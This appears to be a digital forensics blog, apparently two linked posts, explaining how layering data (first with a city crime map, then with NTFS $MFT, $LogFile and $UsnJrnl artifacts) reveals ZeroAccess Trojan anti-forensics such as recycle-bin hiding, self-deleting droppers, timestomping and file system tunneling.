I wanted to use an example closer to home to show the additional information layering data in maps provides. When my wife and I were looking for a house to buy one of the things we took into consideration was the crime rate in the neighborhood. We didn’t want to end up in a rough neighborhood so we wanted additional information about the neighborhoods we were looking at. Unfortunately, there are no online crime maps where I live so I had to settle for the City of Spokane, Washington Crime Map I found with a Google search. Let’s say my wife and I were looking at a loft in downtown Spokane located in the red box on the map.


Using the crime map I first wanted to know what burglaries occurred over the past month.


So far so good; there were a few burglaries that occurred but none were inside the red box. A month doesn’t provide an accurate picture; let’s see the statistics for the past year.


Adding this additional layer provides more information about the burglaries in the area. Like most people, we are more worried about all crime as opposed to just one type of crime. Adding the all crime layer to the map provides even more information.


The new layer provides more information about the crime in the downtown area but adding another layer will provide more even more context. I added the heat map layer as shown below.


The heat map layer now shows an accurate picture about the crime rate around downtown Spokane where our imaginary loft is located. The loft is located in the area that has the highest concentration of crime. By layering data on top of the geographic location we were interested in would enable us to make a more informed decision about if we would actually want to live there. Please note: I only used Spokane since it was the first crime map I saw on a Google search. I have no knowledge about the downtown area and it might be a great place to live.

Layering Data in Timelines

System timelines are a great way to illustrate layering data in DFIR. Artifacts can be organized into layers and then applied to a timeline as a group. The easiest way to see this is by looking at the examination process I use. Below are a few of my examination steps:

        - Examine the programs ran on the system
        - Examine the auto-start locations
        - Examine the host-based logs
        - Examine file system artifacts

I tend to group artifacts together underneath the examination step they pertain to. In other words, I organize all artifacts based on categories that match my examination step. For example, the files listed underneath the examine file system artifacts step include: $MFT, $LogFile, $UsnJrnl, and $INDX files. When I want to know something about the file system then I will examine all of these artifacts. I discussed this examination approach before when I wrote about how to obtain information about the operating system (side note: I updated the script and it automates my entire registry examination process). Harlan shared his thoughts about the usefulness of categorizing artifacts in his post There Are Four Lights: The Analysis Matrix. SANs released their DFIR poster which organizes artifacts based on categories. In my opionion this is the best technqiue when approahing an examination and to deomonstrate it I’ll use the image from the post Extracting ZeroAccess from NTFS Extended Attributes.

In the post I mentioned how ZeroAccess modified the services.exe file so it loads the Trojan from the NTFS Extended Attributes. I parsed the $MFT with AnalyzeMFT. The services.exe file was timestomped using file system tunneling; I focused on the timestamp for the last MFT update which was 12/06/2012 22:18:06.


The $MFT by itself provides a wealth of information but it doesn’t provide any historical information. This is where layering data comes into play and the other NTFS artifacts. I parsed the $LogFile with David Cowen’s Advanced NTFS Journal Parser public version and added it to the timeline (check out his other post Happy new year, new post The NTFS Forensic Triforce to see how the NTFS artifacts tie together).


The $Logfile provided a little more context about the time when the services.exe $MFT record was last updated. The rows in blue shows a file was renamed followed by services.exe being created. Let’s continue layering data by adding the information stored in the $UsnJrnl file. I parsed the file with Tzwork’s Windows Journal Parser and added it to the timeline.


The $UsnJrnl also shows the services.exe file was renamed before it was created as well as other changes made to the file’s attributes.

Summary

The timeline only contained one layer of artifacts which were the NTFS artifacts. Combining the information stored in the $MFT, $LogFile, and $UsnJrnl provided more context about the services.exe file and how it came to be. Even more information could be obtained by adding more layers to the timeline such as program execution and logging information. Layering data in DFIR should not be limited to timelines. Every artifact can be organized into categories and the categories themselves can be treated as layers of information.

The NTFS change journal ($UsnJrnl) is not a new artifact and has been discussed before by others. The file's importance may have been overlooked since it wasn’t available in Windows XP by default. As more and more systems running newer Windows operating systems cross our desks it is crucial to know about the $UsnJrnl file. This is because starting with Windows Vista and continuing into Windows 7 the operating systems use the change journal. The $UsnJrnl file contains a wealth of information about file system activity which can provide more context about what occurred on a system. The information can even counter anti-forensics techniques leveraged by malware to subvert post-mortem examinations. Read on to get reacquainted with this NTFS artifact.

What is the $UsnJrnl File?

According to the book File System Forensic Analysis, the change journal “is a file that records when changes are made to files and directories”. The change journal is located at $Extend\$UsnJrnl and the actual journal entries are stored in the $UsnJrnl:$J alternate data stream. The Windows Internals Part 2: Covering Windows Server 2008 R2 and Windows 7 book details the information contained in each entry:

     - Time of change
     - Reason for the change
     - File/directory’s name
     - File/directory’s attributes
     - File/directory’s MFT record number
     - File record number of the file’s parent directory
     - Security ID
     - Update Sequence Number of the record
     - Information about the source of the change

Others have already highlighted the $UsnJrnl file’s forensic significance. One of which was Bugbear over at the Security Braindump. In his post Dear Diary: AntiMalwareLab.exe File_Created he not only goes into detail about the $UsnJrnl file structure but he even shared how the artifact was beneficial on a case. The change journal’s significance is not limited to malware type cases; it’s relevant to any type of case where it is important to know what changes occurred to the NTFS file system. Case in point, on a fraud case the $UsnJrnl file showed how a user performed a mass deletion of financial files.

Malware Anti-Forensic Techniques

There are various definitions explaining what anti-forensics is. The one I tend to prefer is Marcus Rogers where he stated anti-forensics are “attempts to negatively effect the existence, amount and/or quality of evidence from a crime scene, or make the analysis and examination of evidence difficult or impossible to conduct”. The Rootkit Arsenal 2nd Edition goes on to explain that the goal of anti-forensics is to “minimize the quantity of useful trace evidence that’s generated in addition to ensuring that the quality of this information is also limited (as far as a forensic investigation is concerned).” Malware can leverage anti-forensics to undermine examinations conducted post mortem and live as well as against the malware itself. As it relates to post mortem examinations, two anti-forensic strategies are data hiding and data destruction; both of which can be countered using the information in the $UsnJrnl file.

Data Hiding in Obscure Location

As the name implies, data hiding is a technique to store data where it is unlikely to be found. Remember the Rootkit Paradox and the first part of the predicament; they want to remain hidden. One area malware tries to hide is in obscure locations on the system with hopes that people won’t notice it.

Some ZeroAccess Trojan variants (i.e. MD5 3dbb09aa9b6eff5a180b3412b54e9862) use the recycle bin as a hiding location. The best way to illustrate this is to use a hypothetical scenario where an IDS alert provided the lead to use when examining the $UsnJrnl:$J file. Hypothetically, let’s say an IDS alert went off around 12/14/2012 15:38 UTC for Zeroaccess Outbound UDP traffic. The $J file was parsed with TZwork’s Windows Journal Parser (command used was: jp64.exe –file $J) and the output showed the following at the time of interest:


The output shows at 15:38:30 the following items were created: $5da39e9580074308c6cfbcce61795d0d, L, U, @, and n. The $J file entries only contain file/directory names but the MFT entry can be used to obtain the full file path. The first item of interest is $5da39e9580074308c6cfbcce61795d0d and its MFT entry is 0x00000000a477 (converted to decimal the value is 42103). Locating the MFT record 42103 in the parsed $MFT showed the following:


The item’s full path was /$Recycle.Bin/S-1-5-21-2793522790-2301028668-542554750-1000/$5da39e9580074308c6cfbcce61795d0d. Correlating the MFT entries listed in the $J file for the L, U, and @ files shows they were located inside the $5da39e9580074308c6cfbcce61795d0d directory. The information in the $J file was able to reveal the hiding spot used by this ZeroAccess variant.

Data Destruction

Data destruction is a technique where data is deleted to limit the amount of forensic evidence left on a system. The technique makes it more challenging to determine what happened. Two data destruction techniques to thwart post-mortem forensics are self deleting droppers/downloaders and overwriting file system metadata.

Self Deleting Droppers/Downloaders

A dropper is a type of program when executed will install malicious components. Typically, the malicious components are embedded within the dropper itself. A downloader on the other hand is a program when executed will download and install malicious components. One anti-forensic technique leveraged by droppers and downloaders is to delete the initial executable after its done its job. By deleting the executable it removes evidence about the initial infection vector. One issue faced with self deletion is that Windows does not allow for a process to delete itself. To get around this issue malware can use a self dissolving batch script or another type of shell script. Basically, the malicious process will spawn a new shell process (such as the command prompt) and the shell process will perform the deletion. The ZeroAccess Trojan MD5 3dbb09aa9b6eff5a180b3412b54e9862 is a self deleting dropper and the image below is the portion of the $J file where the Trojan (9862.exe) was deleted.


The change journal logged the 9862.exe file being deleted followed by the cmd.exe prefetch file being modified. The most interesting thing is over time the MFT record for the 9862.exe file will be reused and the cmd.exe prefetch file will change; both of which may limit the ability to determine the 9862.exe file was self deleting. However, the change journal may still maintain entries showing what occurred on the system when other artifacts no longer do.

Overwriting File System Metadata

The timestamps stored in the NTFS metadata are crucial when trying to determine what happened on a system. The metadata includes timestamps which are used to construct a timeline of activity showing how the events unfolded that resulted in a compromise. One anti-forensic technique leveraged by malware is to overwrite the timestamps making it harder to build a timeline. The ZeroAccess Trojan MD5 b437274492e215c25f96711d04b44050 uses two different methods to over write timestamps.

The $MFT maintains two sets of timestamps for files and directories; the Standard Information (SIA) and Filename Attribute (FNA). Most times when timestamps are overwritten it only impacts the SIA timestamps leaving the FNA timestamps intact. Comparing the FNA timestamps to the SIA timestamps is an effective way to determine if timestamps have been altered. To illustrate the following are the timestamps from the file /Users/lab/AppData/Local/{5da39e95-8007-4308-c6cf-bcce61795d0d}/n

Standard Information Attribute

Creation:       7/13/2009 23:11:59 UTC
Access:         7/13/2009 23:11:59 UTC
Modification:  7/14/2009 1:17:52 UTC


Filename Attribute

Creation:       12/6/2012 22:18:00 UTC
Access:         12/6/2012 22:18:00 UTC
Modification:  12/6/2012 22:18:00 UTC

The n file’s timestamps have been altered making it appear as if the file was created and last modified back in 2009. The $J file provides another method to determine if a file’s timestamps were altered since it records when items are created. The image below shows the $J file entry when the n file was created.


As can be seen, the entry reveals the n file was created on 12/6/2012 at 22:18:00 UTC as opposed to 7/13/2009 23:11:59 UTC which was reflected in the SIA timestamp . To detect timestamp manipulation the file/directory’s creation date can be compared to its record in the $J file.

     File System Tunneling

When I was looking at the artifacts associated with the ZeroAccess Trojan levering the NTFS Extended Attributes I quickly noticed how the malware altered its files’ timestamps. I even found the activity in the $J file showing the services.exe file being modified. However, the activity didn’t become clear until I shared the $MFT file with Harlan. Harlan was parsing the $MFT file when he noticed the Trojan used file system tunneling to alter the services.exe timestamps. Jason Hale over at The Digital Forensics Stream post File System Tunneling in Windows does an outstanding job demonstrating how file system tunneling works. Microsoft’s explanation about file system tunneling in Windows is to:

“enable compatibility with programs that rely on file systems being able to hold onto file meta-info for a short period of time. This occurs after deletion or renaming and re-introducing a new directory entry with that meta-info (if a create or rename occurs to cause a file of that name to appear again in a short period of time).”

File system tunneling means if a file is renamed or deleted and then if a file with the same name is created in the same directory then the new file will retain the timestamps from the old file. The $UsnJrnl file contains entries showing file system tunneling was used and this is what became clear after Harlan told me what he saw.


The entries show that the original services.exe file was renamed and within a fraction of a second a new services.exe file was created in the same directory. As shown below the new services.exe file retained the timestamps from the original:

Standard Information Attribute

Creation:       7/13/2009 23:11:26 UTC
Access:         7/13/2009 23:11:26 UTC
Modification:  7/14/2009 1:14:36 UTC


Filename Attribute

Creation:       7/13/2009 23:11:26 UTC
Access:         12/6/2012 22:18:06 UTC
Modification:  12/6/2012 22:18:06 UTC

Both the SIA and FNA timestamps indicate the services.exe file was created back in 2009 but the entries in the $J file shows otherwise. The services.exe was actually created on 12/6/2012 and file system tunneling was used to alter its timestamps.

Summary

The $UsnJrnl file contains a wealth of information about file system activity and its worthy for us to re-introduce ourselves to this artifact. This re-introduction shouldn’t be viewed in the same light as when Jay Z reintroduced himself. Jay Z was saying he was the top MC when he said “allow me to re-introduce myself. My name is Hov’, OH, H to the OV”. The $UsnJrnl is only one of the available NTFS artifacts; it’s not even the only artifact that logs file system activity. The $Logfile is another NTFS artifact with entries recording activity. David Cowen has been releasing information about the $Logfile and the program he wrote to parse it. A few posts include: Updates and DFIR Conferences discussing what the NTFS $Log Parser is and PFIC 2012 Slides & Bsides DFW containing a link to his slide deck where he breaks down the $Logfile. I highly recommend reading what David posted if you haven’t already. The $Logfile is another artifact that contains a wealth of information. The limited testing I did showed it contains information which wasn’t present in the $MFT and $UsnJrnl files. And vice versa about the $UsnJrnl compared to the $Logfile and $MFT. To get an accurate picture about file system activity then all the artifacts ($MFT, $Logfile, and $UsnJrnl) should be examined. Combining the information inside each artifact will counter anti-forensics techniques leveraged by malware to thwart post-mortem examinations.